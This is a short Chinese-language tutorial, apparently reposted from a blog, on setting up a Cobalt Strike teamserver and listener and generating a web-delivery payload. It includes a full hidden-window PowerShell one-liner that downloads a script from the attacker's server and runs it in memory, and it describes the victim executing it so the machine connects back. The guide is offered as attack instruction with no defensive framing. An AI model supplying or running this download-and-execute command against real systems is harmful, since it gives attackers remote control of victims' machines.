cobaltstrike用teamserver连接攻击目标

2024-07-11 15:19| 来源: 网络整理| 查看: 265

官网：https://www.cobaltstrike.com/

Cobalt Strike: C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。

Cobalt Strike 一款GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。

启动服务器端：

./teamserver 192.168.6.134 123456

服务端所在的ip，密码自己随意

客户端连接：

linux下

./cobaltstrike teamserver连接攻击目标

步骤

设置监听器（linster）

在这里插入图片描述

这里是个传输器，这个IP和上面的IP一致

在这里插入图片描述

生成攻击载荷

在这里插入图片描述

选择web脚本木马在这里插入图片描述

这个监听器，就是刚刚设置的监听器

url它是个文件路径

就是让目标（受害者）通过这个地址和端口下载恶意脚本

在这里插入图片描述

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.6.134:80/a’))”

我们访问这个url，可以看到这个脚本内容在这里插入图片描述

这个是载入内存中运行的在这里插入图片描述

查看web日志，可以看到访问记录

目标机子运行

在这里插入图片描述

在目标机上执行，这个代码，在cmd下或powershell下执行，都可以在这里插入图片描述

在cs上就可以看到，目标机连接上了teamserver 在这里插入图片描述

【本文地址】

公司简介

联系我们